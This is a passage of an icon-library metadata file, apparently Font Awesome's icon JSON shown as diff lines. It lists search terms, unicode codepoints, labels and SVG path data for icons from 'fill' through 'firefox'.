109.5 21 122.2 1.6-10.2 7.3-32.7 29.4-122.7 1.3-5.4 6.1-9.1 11.7-9.1h29.1c5.6 0 10.4 3.8 11.7 9.2 24 100.4 28.8 124 29.6 129.4-.2-11.2-2.6-17.8 21.6-129.2 1-5.6 5.9-9.5 11.5-9.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z" + }, + "regular": { + "last_modified": 1628088634807, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "fill": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bucket", + "color", + "paint", + "paint bucket" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f575", + "label": "Fill", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635484, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M502.63 217.06L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.77c-6.24-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.63l86.19 86.18-94.76 94.76c-37.49 37.49-37.49 98.26 0 135.75l117.19 117.19c18.75 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.88-28.12l221.57-221.57c12.49-12.5 12.49-32.76 0-45.26zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.61 58.6c12.49 12.49 32.75 12.49 45.24 0 12.49-12.49 12.49-32.75 0-45.24l-58.61-58.6 58.95-58.95 162.45 162.44-48.35 48.34z" + } + }, + "free": [ + "solid" + ] + }, + "fill-drip": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bucket", + "color", + "drop", + "paint", + "paint bucket", + "spill" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f576", + "label": "Fill Drip", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635483, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M512 320s-64 92.65-64 128c0 35.35 28.66 64 64 64s64-28.65 64-64-64-128-64-128zm-9.37-102.94L294.94 9.37C288.69 3.12 280.5 0 272.31 0s-16.38 3.12-22.62 9.37l-81.58 81.58L81.93 4.76c-6.25-6.25-16.38-6.25-22.62 0L36.69 27.38c-6.24 6.25-6.24 16.38 0 22.62l86.19 86.18-94.76 94.76c-37.49 37.48-37.49 98.26 0 135.75l117.19 117.19c18.74 18.74 43.31 28.12 67.87 28.12 24.57 0 49.13-9.37 67.87-28.12l221.57-221.57c12.5-12.5 12.5-32.75.01-45.25zm-116.22 70.97H65.93c1.36-3.84 3.57-7.98 7.43-11.83l13.15-13.15 81.61-81.61 58.6 58.6c12.49 12.49 32.75 12.49 45.24 0s12.49-32.75 0-45.24l-58.6-58.6 58.95-58.95 162.44 162.44-48.34 48.34z" + } + }, + "free": [ + "solid" + ] + }, + "film": { + "changes": [ + "1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cinema", + "movie", + "strip", + "video" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f008", + "label": "Film", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635485, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M488 64h-8v20c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V64H96v20c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12V64h-8C10.7 64 0 74.7 0 88v336c0 13.3 10.7 24 24 24h8v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h320v-20c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v20h8c13.3 0 24-10.7 24-24V88c0-13.3-10.7-24-24-24zM96 372c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12H44c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm272 208c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm0-168c0 6.6-5.4 12-12 12H156c-6.6 0-12-5.4-12-12v-96c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v96zm112 152c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40zm0-96c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40z" + } + }, + "free": [ + "solid" + ] + }, + "filter": { + "changes": [ + "2", + "5.0.0", + "5.10.1", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "funnel", + "options", + "separate", + "sort" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f0b0", + "label": "Filter", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635485, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M487.976 0H24.028C2.71 0-8.047 25.866 7.058 40.971L192 225.941V432c0 7.831 3.821 15.17 10.237 19.662l80 55.98C298.02 518.69 320 507.493 320 487.98V225.941l184.947-184.97C520.021 25.896 509.338 0 487.976 0z" + } + }, + "free": [ + "solid" + ] + }, + "fingerprint": { + "changes": [ + "5.1.0" + ], + "ligatures": [], + "search": { + "terms": [ + "human", + "id", + "identification", + "lock", + "smudge", + "touch", + "unique", + "unlock" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f577", + "label": "Fingerprint", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635486, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M256.12 245.96c-13.25 0-24 10.74-24 24 1.14 72.25-8.14 141.9-27.7 211.55-2.73 9.72 2.15 30.49 23.12 30.49 10.48 0 20.11-6.92 23.09-17.52 13.53-47.91 31.04-125.41 29.48-224.52.01-13.25-10.73-24-23.99-24zm-.86-81.73C194 164.16 151.25 211.3 152.1 265.32c.75 47.94-3.75 95.91-13.37 142.55-2.69 12.98 5.67 25.69 18.64 28.36 13.05 2.67 25.67-5.66 28.36-18.64 10.34-50.09 15.17-101.58 14.37-153.02-.41-25.95 19.92-52.49 54.45-52.34 31.31.47 57.15 25.34 57.62 55.47.77 48.05-2.81 96.33-10.61 143.55-2.17 13.06 6.69 25.42 19.76 27.58 19.97 3.33 26.81-15.1 27.58-19.77 8.28-50.03 12.06-101.21 11.27-152.11-.88-55.8-47.94-101.88-104.91-102.72zm-110.69-19.78c-10.3-8.34-25.37-6.8-33.76 3.48-25.62 31.5-39.39 71.28-38.75 112 .59 37.58-2.47 75.27-9.11 112.05-2.34 13.05 6.31 25.53 19.36 27.89 20.11 3.5 27.07-14.81 27.89-19.36 7.19-39.84 10.5-80.66 9.86-121.33-.47-29.88 9.2-57.88 28-80.97 8.35-10.28 6.79-25.39-3.49-33.76zm109.47-62.33c-15.41-.41-30.87 1.44-45.78 4.97-12.89 3.06-20.87 15.98-17.83 28.89 3.06 12.89 16 20.83 28.89 17.83 11.05-2.61 22.47-3.77 34-3.69 75.43 1.13 137.73 61.5 138.88 134.58.59 37.88-1.28 76.11-5.58 113.63-1.5 13.17 7.95 25.08 21.11 26.58 16.72 1.95 25.51-11.88 26.58-21.11a929.06 929.06 0 0 0 5.89-119.85c-1.56-98.75-85.07-180.33-186.16-181.83zm252.07 121.45c-2.86-12.92-15.51-21.2-28.61-18.27-12.94 2.86-21.12 15.66-18.26 28.61 4.71 21.41 4.91 37.41 4.7 61.6-.11 13.27 10.55 24.09 23.8 24.2h.2c13.17 0 23.89-10.61 24-23.8.18-22.18.4-44.11-5.83-72.34zm-40.12-90.72C417.29 43.46 337.6 1.29 252.81.02 183.02-.82 118.47 24.91 70.46 72.94 24.09 119.37-.9 181.04.14 246.65l-.12 21.47c-.39 13.25 10.03 24.31 23.28 24.69.23.02.48.02.72.02 12.92 0 23.59-10.3 23.97-23.3l.16-23.64c-.83-52.5 19.16-101.86 56.28-139 38.76-38.8 91.34-59.67 147.68-58.86 69.45 1.03 134.73 35.56 174.62 92.39 7.61 10.86 22.56 13.45 33.42 5.86 10.84-7.62 13.46-22.59 5.84-33.43z" + } + }, + "free": [ + "solid" + ] + }, + "fire": { + "changes": [ + "1", + "5.0.0", + "5.6.0", + "5.6.3", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "burn", + "caliente", + "flame", + "heat", + "hot", + "popular" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f06d", + "label": "fire", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635487, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M216 23.86c0-23.8-30.65-32.77-44.15-13.04C48 191.85 224 200 224 288c0 35.63-29.11 64.46-64.85 63.99-35.17-.45-63.15-29.77-63.15-64.94v-85.51c0-21.7-26.47-32.23-41.43-16.5C27.8 213.16 0 261.33 0 320c0 105.87 86.13 192 192 192s192-86.13 192-192c0-170.29-168-193-168-296.14z" + } + }, + "free": [ + "solid" + ] + }, + "fire-alt": { + "changes": [ + "5.6.3" + ], + "ligatures": [], + "search": { + "terms": [ + "burn", + "caliente", + "flame", + "heat", + "hot", + "popular" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7e4", + "label": "Alternate Fire", + "svg": { + "solid": { + "last_modified": 1628088635486, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M323.56 51.2c-20.8 19.3-39.58 39.59-56.22 59.97C240.08 73.62 206.28 35.53 168 0 69.74 91.17 0 209.96 0 281.6 0 408.85 100.29 512 224 512s224-103.15 224-230.4c0-53.27-51.98-163.14-124.44-230.4zm-19.47 340.65C282.43 407.01 255.72 416 226.86 416 154.71 416 96 368.26 96 290.75c0-38.61 24.31-72.63 72.79-130.75 6.93 7.98 98.83 125.34 98.83 125.34l58.63-66.88c4.14 6.85 7.91 13.55 11.27 19.97 27.35 52.19 15.81 118.97-33.43 153.42z" + } + }, + "free": [ + "solid" + ] + }, + "fire-extinguisher": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "burn", + "caliente", + "fire fighter", + "flame", + "heat", + "hot", + "rescue" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f134", + "label": "fire-extinguisher", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635486, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M434.027 26.329l-168 28C254.693 56.218 256 67.8 256 72h-58.332C208.353 36.108 181.446 0 144 0c-39.435 0-66.368 39.676-52.228 76.203-52.039 13.051-75.381 54.213-90.049 90.884-4.923 12.307 1.063 26.274 13.37 31.197 12.317 4.926 26.279-1.075 31.196-13.37C75.058 112.99 106.964 120 168 120v27.076c-41.543 10.862-72 49.235-72 94.129V488c0 13.255 10.745 24 24 24h144c13.255 0 24-10.745 24-24V240c0-44.731-30.596-82.312-72-92.97V120h40c0 2.974-1.703 15.716 10.027 17.671l168 28C441.342 166.89 448 161.25 448 153.834V38.166c0-7.416-6.658-13.056-13.973-11.837zM144 72c-8.822 0-16-7.178-16-16s7.178-16 16-16 16 7.178 16 16-7.178 16-16 16z" + } + }, + "free": [ + "solid" + ] + }, + "firefox": { + "changes": [ + "4.4", + "5.0.0", + "5.0.1", + "5.12.0" + ], + "ligatures": [], + "search": { + "terms": [ + "browser" + ] + }, + "styles": [ + "brands" + ], + "unicode": "f269", + "label": "Firefox", + "voted": false, + "svg": { + "brands": { + "last_modified": 1573074807765, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.